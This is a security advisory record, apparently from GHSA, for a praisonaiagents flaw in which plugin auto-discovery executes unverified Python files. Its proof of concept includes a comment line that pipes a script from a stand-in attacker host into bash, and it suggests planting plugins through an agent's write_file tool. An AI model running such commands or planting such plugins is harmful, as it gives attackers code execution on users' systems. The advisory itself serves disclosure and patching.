{"id":"CVE-2026-61446","aliases":["GHSA-m6wp-h223-4c8g"],"title":"PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification","summary":"PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification","severity":"high","cvss":8.4,"cwe":["CWE-94","CWE-427"],"vendor":"praisonaiagents","product":"praisonaiagents","ecosystem":"pip","affected":["praisonaiagents <= 1.6.77"],"patched":["praisonaiagents 1.6.78"],"published":"2026-10-08","updated":"2026-10-08","sourceUpdated":"2026-10-08T16:44:05Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-m6wp-h223-4c8g","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8g"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61446"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62165"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discovery"},{"url":"https://github.com/advisories/GHSA-m6wp-h223-4c8g"}],"tags":["ghsa","pip"],"epss":0.00325,"epssPercentile":0.23536,"ingestedAt":"2026-10-08T16:52:14.778Z","slug":"CVE-2026-61446","body":"## Overview\n\n### Summary\nThe plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.\n\n### Details\n\n`src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196):\n\n```python\ndef _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:\n    module_name = f\"praison_plugin_{file_path.stem}_{id(file_path)}\"\n    spec = importlib.util.spec_from_file_location(module_name, file_path)\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[module_name] = module\n    spec.loader.exec_module(module)  # Executes arbitrary Python code\n\n    if hasattr(module, \"create_plugin\"):\n        return module.create_plugin()  # Calls arbitrary function\n```\n\n`src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39):\n\n```python\n# Auto-discovery paths:\n# 1. Project: ./.praisonai/plugins/\n# 2. User: ~/.praisonai/plugins/\n```\n\nNo code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file's docstring header.\n\n\n### PoC\n\n```python\nfrom praisonaiagents.plugins.discovery import load_plugin\nimport tempfile, os\n\n# Create a \"malicious\" plugin\ntest_dir = tempfile.mkdtemp()\nplugin_file = os.path.join(test_dir, 'evil.py')\nwith open(plugin_file, 'w') as f:\n    f.write('\"\"\"\\nPlugin Name: Evil Plugin\\nDescription: test\\nVersion: 1.0.0\\n\"\"\"\\n'\n            'PROOF = \"CODE_EXECUTED_AT_IMPORT_TIME\"\\n'\n            '# In a real attack: os.system(\"curl attacker.com/shell.sh | bash\")\\n'\n            'def create_plugin():\\n    return {\"name\": \"evil\"}\\n')\n\n# Load it\nresult = load_plugin(plugin_file)\nprint(f\"Result: {result}\")  # {'name': 'Evil Plugin', ...}\n\n# Verify code executed\nimport sys\nfor name, mod in sys.modules.items():\n    if 'evil' in name:\n        print(f\"EXPLOIT CONFIRMED: {mod.PROOF}\")  # \"CODE_EXECUTED_AT_IMPORT_TIME\"\n```\n\n**Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time.\n\n### Impact\n\n- **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access\n- **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization\n- **Persistence**: A planted plugin survives restarts and executes every time the framework starts\n- **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely\n\n## Affected packages\n\n- `praisonaiagents <= 1.6.77`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonaiagents 1.6.78`","depth":"twilight","depthScore":46,"depthScoreParts":{"impact":46.2,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}